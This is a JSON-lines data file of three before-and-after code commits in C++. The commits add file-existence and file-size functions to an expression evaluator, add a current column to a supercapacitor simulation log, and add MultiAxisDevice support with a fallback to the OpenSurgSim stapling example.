{"text":"<commit_before>#include \"stdafx.h\"\n#include \"ExpressionFunctions.h\"\n#include \"Misc.h\"\n#include \"Common.h\"\n\nExpressionValue expressionFunctionEndianness(const std::vector<ExpressionValue>& parameters)\n{\n\tEndianness endianness = g_fileManager->getEndianness();\n\n\tExpressionValue result;\n\tresult.type = ExpressionValueType::String;\n\n\tswitch (endianness)\n\t{\n\tcase Endianness::Little:\n\t\tresult.strValue = L\"little\";\n\t\tbreak;\n\tcase Endianness::Big:\n\t\tresult.strValue = L\"big\";\n\t\tbreak;\n\t}\n\n\treturn result;\n}\n\nconst ExpressionFunctionMap expressionFunctions = {\n\t{ L\"endianness\",\t{ &expressionFunctionEndianness,\t0,\t0 } },\n};\n<commit_msg>Add fileExists and fileSize expression functions<commit_after>#include \"stdafx.h\"\n#include \"ExpressionFunctions.h\"\n#include \"Misc.h\"\n#include \"Common.h\"\n\nExpressionValue expFuncEndianness(const std::vector<ExpressionValue>& parameters)\n{\n\tEndianness endianness = g_fileManager->getEndianness();\n\n\tExpressionValue result;\n\tresult.type = ExpressionValueType::String;\n\n\tswitch (endianness)\n\t{\n\tcase Endianness::Little:\n\t\tresult.strValue = L\"little\";\n\t\tbreak;\n\tcase Endianness::Big:\n\t\tresult.strValue = L\"big\";\n\t\tbreak;\n\t}\n\n\treturn result;\n}\n\nExpressionValue expFuncFileExists(const std::vector<ExpressionValue>& parameters)\n{\n\tExpressionValue result;\n\n\tif (parameters[0].isString() == false)\n\t{\n\t\tLogger::queueError(Logger::Error,L\"Invalid parameter\");\n\t\treturn result;\n\t}\n\n\tstd::wstring fileName = getFullPathName(parameters[0].strValue);\n\n\tresult.type = ExpressionValueType::Integer;\n\tresult.intValue = fileExists(fileName) ? 1 : 0;\n\treturn result;\n}\n\nExpressionValue expFuncFileSize(const std::vector<ExpressionValue>& parameters)\n{\n\tExpressionValue result;\n\n\tif (parameters[0].isString() == false)\n\t{\n\t\tLogger::queueError(Logger::Error,L\"Invalid parameter\");\n\t\treturn result;\n\t}\n\n\tstd::wstring fileName = getFullPathName(parameters[0].strValue);\n\n\tresult.type = ExpressionValueType::Integer;\n\tresult.intValue = fileSize(fileName);\n\treturn result;\n}\n\nconst ExpressionFunctionMap expressionFunctions = {\n\t{ L\"endianness\",\t{ &expFuncEndianness,\t0,\t0 } },\n\t{ L\"fileexists\",\t{ &expFuncFileExists,\t1,\t1 } },\n\t{ L\"filesize\",\t\t{ &expFuncFileSize,\t\t1,\t1 } },\n};\n<|endoftext|>"}
{"text":"<commit_before>#include <fstream>\n#include <iostream>\n#include <math.h>\n\n#include \"ChargeProcess.hpp\"\n#include \"DCCon_in.hpp\"\n#include \"DCCon_out.hpp\"\n#include \"HEESTimer.hpp\"\n#include \"LoadApp.hpp\"\n#include \"SuperCap.hpp\"\n#include \"main.hpp\"\n\nusing namespace std;\nusing namespace std::tr1;\n\nextern HEESTimer HTimer;\n\ndouble dc_super_cap_energy = 0.0;\ndouble bank_res_energy = 0.0;\n\nChargeProcess::ChargeProcess() :\n\tvcti(0.0), icti(0.0),\n\tsuper_cap_iin(0.0), super_cap_qacc(0.0), super_cap_voc(0.0), super_cap_vcc(0.0), dc_load_power(0.0),\n\tdc_super_cap_vout(super_cap_vcc), dc_super_cap_iout(super_cap_iin), dc_super_cap_vin(vcti), dc_super_cap_iin(0.0), dc_super_cap_power(0.0),\n\tdc_load_vin(vcti), dc_load_iin(icti), dc_load_vout(1.0), dc_load_iout(1.0), \n\tpower_input(0.0),\n\ttime_elapsed(0.0), time_index(0),\n\toutput_file(\"OverallProcess.txt\") { \n\t\n\tofstream output(output_file.c_str());\n\toutput << \"Pinput\\tVCTI\\tVcap_oc\\tVcap_cc\\tQacc\\tIsup\\tPdcsup\\tPdcload\\tPrbank\\tEsup\\tCacc\" << endl;\n\toutput.close();\n}\n\nvoid ChargeProcess::compute_dc_bank_iin() {\n\t\/\/ Compute the current Icti on CTI from bank to load\n\tdc_load.ConverterModel(dc_load_vin, dc_load_vout, dc_load_iout, dc_load_iin, dc_load_power);\n\n\tdc_super_cap_iin = power_input\/vcti - dc_load_iin;\n\n\t\/\/ Test if the supply power is large enough\n\tif (dc_super_cap_iin < 0) {\n\t\tpower_status = POWER_NOT_ENOUGH_FOR_LOAD;\n\t} else {\n\t\tpower_status = POWER_NORMAL;\n\t}\n}\n\nvoid ChargeProcess::charge_policy_our_policy(ees_bank *bank) {\n\n\t\/\/ Set the VCTI to the load vdd;\n\tif (power_status == POWER_INIT) {\n\t\tif (fixed_vcti > 0.0)\n\t\t\tvcti = fixed_vcti;\n\t\telse\n\t\t\tvcti = dc_load_vout;\n\t\tcompute_dc_bank_iin();\n\t}\n\n\tif (power_status == POWER_NORMAL) {\n\t\tdc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t\t\/\/ Reconfig if necessary\n\t\t\/\/ while ((dc_super_cap_vout > dc_super_cap_vin) && supcap_reconfig_return && bank_reconfig_enable) {\n\t\t\t\/\/ supcap_reconfig_return = bank->EESBankOperating(dc_super_cap_iin, dc_super_cap_vout, -100.0);\n\t\t\t\/\/ supcap_reconfig_return = bank->EESBankReconfiguration(dc_super_cap_iin, dc_super_cap_vout, &dc_super_cap);\n\t\t\t\/\/ dc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t\t\/\/ }\n\t\tif ((dc_super_cap_vout > dc_super_cap_vin) && supcap_reconfig_return && bank_reconfig_enable) {\n\t\t\tsupcap_reconfig_return = bank->EESBankReconfiguration(dc_super_cap_iin, dc_super_cap_vout, &dc_super_cap);\n\t\t\tdc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t\t}\n\t}\n\n\treturn;\n}\n\nvoid ChargeProcess::charge_policy_optimal_vcti(ees_bank *bank) {\n\tif (time_index % recompute_vcti_time_index == 0) {\n\t\tvcti = sel_vcti.bestVCTI(power_input, dc_load_iout, dc_load_vout, \"out_SupCap\", bank);\n\t}\n\n\tcompute_dc_bank_iin();\n\tif (power_status == POWER_NORMAL) {\n\t\tdc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t}\n\n\treturn;\n}\n\n\nint ChargeProcess::ChargeProcessOptimalVcti(ees_bank *bank, lionbat *lb, loadApplication *load) {\n\n\tthis->power_input = power_source_func(HTimer.HEESTimerGetCurrentTimeInSecond());\n\tpower_status = POWER_INIT;\n\n\t\/\/ Bind to optimal vcti policy\n\tcharge_policy = bind(&ChargeProcess::charge_policy_optimal_vcti, this, placeholders::_1);\n\n\treturn ChargeProcessApplyPolicy(bank, lb, load);\n}\n\nint ChargeProcess::ChargeProcessOurPolicy(ees_bank *bank, lionbat *lb, loadApplication *load) {\n\n\tthis->power_input = power_source_func(HTimer.HEESTimerGetCurrentTimeInSecond());\n\tpower_status = POWER_INIT;\n\n\tsupcap_reconfig_return = true;\n\n\t\/\/ Bind to our policy\n\tcharge_policy = bind(&ChargeProcess::charge_policy_our_policy, this, placeholders::_1);\n\n\treturn ChargeProcessApplyPolicy(bank, lb, load);\n}\n\nint ChargeProcess::ChargeProcessApplyPolicy(ees_bank *bank, lionbat *lb, loadApplication *load) {\n\t\n\t\/\/ DC-DC converter for the load\n\tdc_load_vout = load->get_vdd();\n\tdc_load_iout = load->get_idd();\n\n\t\/\/ Task info and timer stuff\n\ttime_elapsed = 0.0;\n\ttime_index = 0;\n\n\t\/\/ Output file\n\tofstream output(output_file.c_str(), ios_base::app);\n\tif (!output.good()) {\n\t\tcerr << \"Can not open files!\" << endl;\n\t}\n\n\twhile (fabs(load->CurrentTaskRemainingTime()) > 1e-3) {\n\n\t\t\/\/ Every second, update the power input\n\t\tif (time_index % 10 == 0) {\n\t\t\tthis->power_input = power_source_func(HTimer.HEESTimerGetCurrentTimeInSecond());\n\t\t\tpower_status = POWER_INIT;\n\t\t}\n\t\tcharge_policy(bank);\n\n\t\t\/\/ Check if we need to break because the power_input is not enough\n\t\tif (power_status == POWER_NOT_ENOUGH_FOR_LOAD) {\n\t\t\ttime_index = -1;\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\t\/\/ Record the current status of the super capacitor\n\t\tif (HTimer.HEESTimerGetCurrentTimeIndex() % delta_energy_steps == 0)\n\t\t\tprint_super_cap_info(output, bank, power_input);\n\n\t\tbank->EESBankCharge(super_cap_iin, dc_super_cap_vout, min_time_interval, super_cap_vcc, super_cap_qacc);\n\n\t\ttime_elapsed += min_time_interval;\n\t\t++time_index;\n\t\tHTimer.HEESTimerAdvancdTimerIndex(1, bank);\n\t\tload->AdvanceLoadProgress(min_time_interval);\n\n\t\t\/\/ Recorde the wasted energy on dcdc and bank resistance\n\t\tdc_super_cap_energy += min_time_interval * dc_super_cap_power;\n\t\tbank_res_energy += min_time_interval * super_cap_iin * super_cap_iin *bank->EESBankGetRacc();\n\n\t\tif (HTimer.HEESTimerGetCurrentTimeIndex() > MAX_TIME_INDEX)\n\t\t\tbreak;\n\t}\n\n\toutput.close();\n\t\/\/ After charging, reset the power status to POWER_INIT\n\tpower_status = POWER_INIT;\n\n\treturn time_index;\n}\n\nvoid ChargeProcess::print_super_cap_info(ofstream &output, ees_bank *bank, double power_input) {\n\t\/\/ Output the status to a file\n\tsuper_cap_voc = bank->EESBankGetVoc();\n\tsuper_cap_qacc = bank->EESBankGetQacc();\n\toutput.precision(5);\n\toutput.setf(ios::fixed,ios::floatfield);\n\toutput << power_input << \"\\t\"\n\t\t\t<< vcti << \"\\t\"\n\t\t\t<< super_cap_voc << \"\\t\"\n\t\t\t<< super_cap_vcc << \"\\t\"\n\t\t\t<< super_cap_qacc << \"\\t\"\n\t\t\t<< super_cap_iin << \"\\t\"\n\t\t\t<< dc_super_cap_power << \"\\t\"\n\t\t\t<< dc_load_power << \"\\t\"\n\t\t\t<< super_cap_iin*super_cap_iin*bank->EESBankGetRacc() << \"\\t\"\n\t\t\t<< bank->EESBankGetEnergy() << \"\\t\"\n\t\t\t<< bank->EESBankGetCacc() << endl;\n\n\treturn;\n}\n<commit_msg>Print out SupCap Bank DC-DC Iout in log<commit_after>#include <fstream>\n#include <iostream>\n#include <math.h>\n\n#include \"ChargeProcess.hpp\"\n#include \"DCCon_in.hpp\"\n#include \"DCCon_out.hpp\"\n#include \"HEESTimer.hpp\"\n#include \"LoadApp.hpp\"\n#include \"SuperCap.hpp\"\n#include \"main.hpp\"\n\nusing namespace std;\nusing namespace std::tr1;\n\nextern HEESTimer HTimer;\n\ndouble dc_super_cap_energy = 0.0;\ndouble bank_res_energy = 0.0;\n\nChargeProcess::ChargeProcess() :\n\tvcti(0.0), icti(0.0),\n\tsuper_cap_iin(0.0), super_cap_qacc(0.0), super_cap_voc(0.0), super_cap_vcc(0.0), dc_load_power(0.0),\n\tdc_super_cap_vout(super_cap_vcc), dc_super_cap_iout(super_cap_iin), dc_super_cap_vin(vcti), dc_super_cap_iin(0.0), dc_super_cap_power(0.0),\n\tdc_load_vin(vcti), dc_load_iin(icti), dc_load_vout(1.0), dc_load_iout(1.0), \n\tpower_input(0.0),\n\ttime_elapsed(0.0), time_index(0),\n\toutput_file(\"OverallProcess.txt\") { \n\t\n\tofstream output(output_file.c_str());\n\toutput << \"Pinput\\tVCTI\\tVcap_oc\\tVcap_cc\\tQacc\\t\\tIsup\\tPdcsup\\tPdcsupIin\\tPdcload\\tPrbank\\tEsup\\tCacc\" << endl;\n\toutput.close();\n}\n\nvoid ChargeProcess::compute_dc_bank_iin() {\n\t\/\/ Compute the current Icti on CTI from bank to load\n\tdc_load.ConverterModel(dc_load_vin, dc_load_vout, dc_load_iout, dc_load_iin, dc_load_power);\n\n\tdc_super_cap_iin = power_input\/vcti - dc_load_iin;\n\n\t\/\/ Test if the supply power is large enough\n\tif (dc_super_cap_iin < 0) {\n\t\tpower_status = POWER_NOT_ENOUGH_FOR_LOAD;\n\t} else {\n\t\tpower_status = POWER_NORMAL;\n\t}\n}\n\nvoid ChargeProcess::charge_policy_our_policy(ees_bank *bank) {\n\n\t\/\/ Set the VCTI to the load vdd;\n\tif (power_status == POWER_INIT) {\n\t\tif (fixed_vcti > 0.0)\n\t\t\tvcti = fixed_vcti;\n\t\telse\n\t\t\tvcti = dc_load_vout;\n\t\tcompute_dc_bank_iin();\n\t}\n\n\tif (power_status == POWER_NORMAL) {\n\t\tdc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t\t\/\/ Reconfig if necessary\n\t\t\/\/ while ((dc_super_cap_vout > dc_super_cap_vin) && supcap_reconfig_return && bank_reconfig_enable) {\n\t\t\t\/\/ supcap_reconfig_return = bank->EESBankOperating(dc_super_cap_iin, dc_super_cap_vout, -100.0);\n\t\t\t\/\/ supcap_reconfig_return = bank->EESBankReconfiguration(dc_super_cap_iin, dc_super_cap_vout, &dc_super_cap);\n\t\t\t\/\/ dc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t\t\/\/ }\n\t\tif ((dc_super_cap_vout > dc_super_cap_vin) && supcap_reconfig_return && bank_reconfig_enable) {\n\t\t\tsupcap_reconfig_return = bank->EESBankReconfiguration(dc_super_cap_iin, dc_super_cap_vout, &dc_super_cap);\n\t\t\tdc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t\t}\n\t}\n\n\treturn;\n}\n\nvoid ChargeProcess::charge_policy_optimal_vcti(ees_bank *bank) {\n\tif (time_index % recompute_vcti_time_index == 0) {\n\t\tvcti = sel_vcti.bestVCTI(power_input, dc_load_iout, dc_load_vout, \"out_SupCap\", bank);\n\t}\n\n\tcompute_dc_bank_iin();\n\tif (power_status == POWER_NORMAL) {\n\t\tdc_super_cap.ConverterModel_EESBank(dc_super_cap_vin, dc_super_cap_iin, dc_super_cap_vout, dc_super_cap_iout, dc_super_cap_power, bank);\n\t}\n\n\treturn;\n}\n\n\nint ChargeProcess::ChargeProcessOptimalVcti(ees_bank *bank, lionbat *lb, loadApplication *load) {\n\n\tthis->power_input = power_source_func(HTimer.HEESTimerGetCurrentTimeInSecond());\n\tpower_status = POWER_INIT;\n\n\t\/\/ Bind to optimal vcti policy\n\tcharge_policy = bind(&ChargeProcess::charge_policy_optimal_vcti, this, placeholders::_1);\n\n\treturn ChargeProcessApplyPolicy(bank, lb, load);\n}\n\nint ChargeProcess::ChargeProcessOurPolicy(ees_bank *bank, lionbat *lb, loadApplication *load) {\n\n\tthis->power_input = power_source_func(HTimer.HEESTimerGetCurrentTimeInSecond());\n\tpower_status = POWER_INIT;\n\n\tsupcap_reconfig_return = true;\n\n\t\/\/ Bind to our policy\n\tcharge_policy = bind(&ChargeProcess::charge_policy_our_policy, this, placeholders::_1);\n\n\treturn ChargeProcessApplyPolicy(bank, lb, load);\n}\n\nint ChargeProcess::ChargeProcessApplyPolicy(ees_bank *bank, lionbat *lb, loadApplication *load) {\n\t\n\t\/\/ DC-DC converter for the load\n\tdc_load_vout = load->get_vdd();\n\tdc_load_iout = load->get_idd();\n\n\t\/\/ Task info and timer stuff\n\ttime_elapsed = 0.0;\n\ttime_index = 0;\n\n\t\/\/ Output file\n\tofstream output(output_file.c_str(), ios_base::app);\n\tif (!output.good()) {\n\t\tcerr << \"Can not open files!\" << endl;\n\t}\n\n\twhile (fabs(load->CurrentTaskRemainingTime()) > 1e-3) {\n\n\t\t\/\/ Every second, update the power input\n\t\tif (time_index % 10 == 0) {\n\t\t\tthis->power_input = power_source_func(HTimer.HEESTimerGetCurrentTimeInSecond());\n\t\t\tpower_status = POWER_INIT;\n\t\t}\n\t\tcharge_policy(bank);\n\n\t\t\/\/ Check if we need to break because the power_input is not enough\n\t\tif (power_status == POWER_NOT_ENOUGH_FOR_LOAD) {\n\t\t\ttime_index = -1;\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\t\/\/ Record the current status of the super capacitor\n\t\tif (HTimer.HEESTimerGetCurrentTimeIndex() % delta_energy_steps == 0)\n\t\t\tprint_super_cap_info(output, bank, power_input);\n\n\t\tbank->EESBankCharge(super_cap_iin, dc_super_cap_vout, min_time_interval, super_cap_vcc, super_cap_qacc);\n\n\t\ttime_elapsed += min_time_interval;\n\t\t++time_index;\n\t\tHTimer.HEESTimerAdvancdTimerIndex(1, bank);\n\t\tload->AdvanceLoadProgress(min_time_interval);\n\n\t\t\/\/ Recorde the wasted energy on dcdc and bank resistance\n\t\tdc_super_cap_energy += min_time_interval * dc_super_cap_power;\n\t\tbank_res_energy += min_time_interval * super_cap_iin * super_cap_iin *bank->EESBankGetRacc();\n\n\t\tif (HTimer.HEESTimerGetCurrentTimeIndex() > MAX_TIME_INDEX)\n\t\t\tbreak;\n\t}\n\n\toutput.close();\n\t\/\/ After charging, reset the power status to POWER_INIT\n\tpower_status = POWER_INIT;\n\n\treturn time_index;\n}\n\nvoid ChargeProcess::print_super_cap_info(ofstream &output, ees_bank *bank, double power_input) {\n\t\/\/ Output the status to a file\n\tsuper_cap_voc = bank->EESBankGetVoc();\n\tsuper_cap_qacc = bank->EESBankGetQacc();\n\toutput.precision(5);\n\toutput.setf(ios::fixed,ios::floatfield);\n\toutput << power_input << \"\\t\"\n\t\t\t<< vcti << \"\\t\"\n\t\t\t<< super_cap_voc << \"\\t\"\n\t\t\t<< super_cap_vcc << \"\\t\"\n\t\t\t<< super_cap_qacc << \"\\t\"\n\t\t\t<< super_cap_iin << \"\\t\"\n\t\t\t<< dc_super_cap_power << \"\\t\"\n\t\t\t<< dc_super_cap_iin << \"\\t\\t\"\n\t\t\t<< dc_load_power << \"\\t\"\n\t\t\t<< super_cap_iin*super_cap_iin*bank->EESBankGetRacc() << \"\\t\"\n\t\t\t<< bank->EESBankGetEnergy() << \"\\t\"\n\t\t\t<< bank->EESBankGetCacc() << endl;\n\n\treturn;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <memory>\n\n#include \"Examples\/ExampleStapling\/StaplerBehavior.h\"\n#include \"SurgSim\/Blocks\/KeyboardTogglesGraphicsBehavior.h\"\n#include \"SurgSim\/Blocks\/TransferPhysicsToGraphicsMeshBehavior.h\"\n#include \"SurgSim\/Blocks\/VisualizeContactsBehavior.h\"\n#include \"SurgSim\/Framework\/BasicSceneElement.h\"\n#include \"SurgSim\/Framework\/BehaviorManager.h\"\n#include \"SurgSim\/Framework\/FrameworkConvert.h\"\n#include \"SurgSim\/Framework\/Runtime.h\"\n#include \"SurgSim\/Framework\/Scene.h\"\n#include \"SurgSim\/Devices\/IdentityPoseDevice\/IdentityPoseDevice.h\"\n#include \"SurgSim\/Graphics\/OsgManager.h\"\n#include \"SurgSim\/Graphics\/OsgMeshRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgSceneryRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgView.h\"\n#include \"SurgSim\/Graphics\/OsgViewElement.h\"\n#include \"SurgSim\/Input\/InputManager.h\"\n#include \"SurgSim\/Math\/Vector.h\"\n#include \"SurgSim\/Physics\/Fem3DRepresentation.h\"\n#include \"SurgSim\/Physics\/FixedRepresentation.h\"\n#include \"SurgSim\/Physics\/PhysicsManager.h\"\n#include \"SurgSim\/Physics\/VirtualToolCoupler.h\"\n\nusing SurgSim::Device::IdentityPoseDevice;\nusing SurgSim::Framework::BehaviorManager;\nusing SurgSim::Framework::Runtime;\nusing SurgSim::Framework::SceneElement;\nusing SurgSim::Graphics::OsgManager;\nusing SurgSim::Graphics::OsgView;\nusing SurgSim::Graphics::OsgViewElement;\nusing SurgSim::Input::InputManager;\nusing SurgSim::Math::Vector3d;\nusing SurgSim::Input::DeviceInterface;\nusing SurgSim::Physics::PhysicsManager;\n\ntemplate <typename Type>\nstd::shared_ptr<Type> getComponentChecked(std::shared_ptr<SurgSim::Framework::SceneElement> sceneElement,\n\t\t\t\t\t\t\t\t\t\t  const std::string& name)\n{\n\tstd::shared_ptr<SurgSim::Framework::Component> component = sceneElement->getComponent(name);\n\tSURGSIM_ASSERT(component != nullptr) << \"Failed to get Component named '\" << name << \"'.\";\n\n\tstd::shared_ptr<Type> result = std::dynamic_pointer_cast<Type>(component);\n\tSURGSIM_ASSERT(result != nullptr) << \"Failed to convert Component to requested type.\";\n\n\treturn result;\n}\n\nint main(int argc, char* argv[])\n{\n\tconst std::string deviceName = \"MultiAxisDevice\";\n\n\tstd::shared_ptr<BehaviorManager> behaviorManager = std::make_shared<BehaviorManager>();\n\tstd::shared_ptr<OsgManager> graphicsManager = std::make_shared<OsgManager>();\n\tstd::shared_ptr<InputManager> inputManager = std::make_shared<InputManager>();\n\tstd::shared_ptr<PhysicsManager> physicsManager = std::make_shared<PhysicsManager>();\n\n\tstd::shared_ptr<Runtime> runtime = std::make_shared<Runtime>(\"config.txt\");\n\truntime->addManager(behaviorManager);\n\truntime->addManager(graphicsManager);\n\truntime->addManager(inputManager);\n\truntime->addManager(physicsManager);\n\n\tstd::shared_ptr<DeviceInterface> device;\n\tdevice = std::make_shared<IdentityPoseDevice>(deviceName);\n\tinputManager->addDevice(device);\n\n\tYAML::Node node = YAML::LoadFile(\"Data\/Stapling\/StaplingDemo.yaml\");\n\n\truntime->getScene()->decode(node);\n\n\tstd::shared_ptr<SceneElement> arm = runtime->getScene()->getSceneElement(\"arm\");\n\tstd::shared_ptr<SceneElement> wound = runtime->getScene()->getSceneElement(\"wound\");\n\tstd::shared_ptr<SceneElement> stapler = runtime->getScene()->getSceneElement(\"stapler\");\n\tstd::shared_ptr<SceneElement> view = runtime->getScene()->getSceneElement(\"StaplingDemoView\");\n\tauto osgView = std::dynamic_pointer_cast<OsgView>(view->getComponent(\"StaplingDemoView View\"));\n\tSURGSIM_ASSERT(nullptr != osgView) << \"No OsgView held by SceneElement StaplingDemoView.\";\n\tinputManager->addDevice(osgView->getKeyboardDevice());\n\n\t\/\/ Exclude collision between certain Collision::Representations\n\tphysicsManager->addExcludedCollisionPair(\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"Collision\"),\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"VirtualToothCollision0\"));\n\n\tphysicsManager->addExcludedCollisionPair(\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"Collision\"),\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"VirtualToothCollision1\"));\n\n\tphysicsManager->addExcludedCollisionPair(\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(wound, \"Collision\"),\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(arm, \"Collision\"));\n\n\truntime->execute();\n\n\treturn 0;\n}<commit_msg>Add MultiAxisDevice device support in SerializableStapling example<commit_after>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <memory>\n\n#include \"Examples\/ExampleStapling\/StaplerBehavior.h\"\n#include \"SurgSim\/Blocks\/KeyboardTogglesGraphicsBehavior.h\"\n#include \"SurgSim\/Blocks\/TransferPhysicsToGraphicsMeshBehavior.h\"\n#include \"SurgSim\/Blocks\/VisualizeContactsBehavior.h\"\n#include \"SurgSim\/Devices\/MultiAxis\/MultiAxisDevice.h\"\n#include \"SurgSim\/Framework\/BasicSceneElement.h\"\n#include \"SurgSim\/Framework\/BehaviorManager.h\"\n#include \"SurgSim\/Framework\/FrameworkConvert.h\"\n#include \"SurgSim\/Framework\/Runtime.h\"\n#include \"SurgSim\/Framework\/Scene.h\"\n#include \"SurgSim\/Devices\/IdentityPoseDevice\/IdentityPoseDevice.h\"\n#include \"SurgSim\/Graphics\/OsgManager.h\"\n#include \"SurgSim\/Graphics\/OsgMeshRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgSceneryRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgView.h\"\n#include \"SurgSim\/Graphics\/OsgViewElement.h\"\n#include \"SurgSim\/Input\/InputManager.h\"\n#include \"SurgSim\/Math\/Vector.h\"\n#include \"SurgSim\/Physics\/Fem3DRepresentation.h\"\n#include \"SurgSim\/Physics\/FixedRepresentation.h\"\n#include \"SurgSim\/Physics\/PhysicsManager.h\"\n#include \"SurgSim\/Physics\/VirtualToolCoupler.h\"\n\nusing SurgSim::Device::IdentityPoseDevice;\nusing SurgSim::Device::MultiAxisDevice;\nusing SurgSim::Framework::BehaviorManager;\nusing SurgSim::Framework::Runtime;\nusing SurgSim::Framework::SceneElement;\nusing SurgSim::Graphics::OsgManager;\nusing SurgSim::Graphics::OsgView;\nusing SurgSim::Graphics::OsgViewElement;\nusing SurgSim::Input::InputManager;\nusing SurgSim::Math::Vector3d;\nusing SurgSim::Input::DeviceInterface;\nusing SurgSim::Physics::PhysicsManager;\n\ntemplate <typename Type>\nstd::shared_ptr<Type> getComponentChecked(std::shared_ptr<SurgSim::Framework::SceneElement> sceneElement,\n\t\t\t\t\t\t\t\t\t\t  const std::string& name)\n{\n\tstd::shared_ptr<SurgSim::Framework::Component> component = sceneElement->getComponent(name);\n\tSURGSIM_ASSERT(component != nullptr) << \"Failed to get Component named '\" << name << \"'.\";\n\n\tstd::shared_ptr<Type> result = std::dynamic_pointer_cast<Type>(component);\n\tSURGSIM_ASSERT(result != nullptr) << \"Failed to convert Component to requested type.\";\n\n\treturn result;\n}\n\nint main(int argc, char* argv[])\n{\n\tconst std::string deviceName = \"MultiAxisDevice\";\n\n\tstd::shared_ptr<BehaviorManager> behaviorManager = std::make_shared<BehaviorManager>();\n\tstd::shared_ptr<OsgManager> graphicsManager = std::make_shared<OsgManager>();\n\tstd::shared_ptr<InputManager> inputManager = std::make_shared<InputManager>();\n\tstd::shared_ptr<PhysicsManager> physicsManager = std::make_shared<PhysicsManager>();\n\n\tstd::shared_ptr<Runtime> runtime = std::make_shared<Runtime>(\"config.txt\");\n\truntime->addManager(behaviorManager);\n\truntime->addManager(graphicsManager);\n\truntime->addManager(inputManager);\n\truntime->addManager(physicsManager);\n\n\tstd::shared_ptr<DeviceInterface> device;\n\tdevice = std::make_shared<MultiAxisDevice>(deviceName);\n\tif (!device->initialize())\n\t{\n\t\tSURGSIM_LOG_WARNING(SurgSim::Framework::Logger::getDefaultLogger())\n\t\t\t<< \"Could not initialize device \" << device->getName() << \" for the tool.\";\n\n\t\tdevice = std::make_shared<IdentityPoseDevice>(deviceName);\n\t}\n\tinputManager->addDevice(device);\n\n\tYAML::Node node = YAML::LoadFile(\"Data\/Stapling\/StaplingDemo.yaml\");\n\n\truntime->getScene()->decode(node);\n\n\tstd::shared_ptr<SceneElement> arm = runtime->getScene()->getSceneElement(\"arm\");\n\tstd::shared_ptr<SceneElement> wound = runtime->getScene()->getSceneElement(\"wound\");\n\tstd::shared_ptr<SceneElement> stapler = runtime->getScene()->getSceneElement(\"stapler\");\n\tstd::shared_ptr<SceneElement> view = runtime->getScene()->getSceneElement(\"StaplingDemoView\");\n\tauto osgView = std::dynamic_pointer_cast<OsgView>(view->getComponent(\"StaplingDemoView View\"));\n\tSURGSIM_ASSERT(nullptr != osgView) << \"No OsgView held by SceneElement StaplingDemoView.\";\n\tinputManager->addDevice(osgView->getKeyboardDevice());\n\n\t\/\/ Exclude collision between certain Collision::Representations\n\tphysicsManager->addExcludedCollisionPair(\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"Collision\"),\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"VirtualToothCollision0\"));\n\n\tphysicsManager->addExcludedCollisionPair(\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"Collision\"),\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(stapler, \"VirtualToothCollision1\"));\n\n\tphysicsManager->addExcludedCollisionPair(\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(wound, \"Collision\"),\n\t\tgetComponentChecked<SurgSim::Collision::Representation>(arm, \"Collision\"));\n\n\truntime->execute();\n\n\treturn 0;\n}<|endoftext|>"}
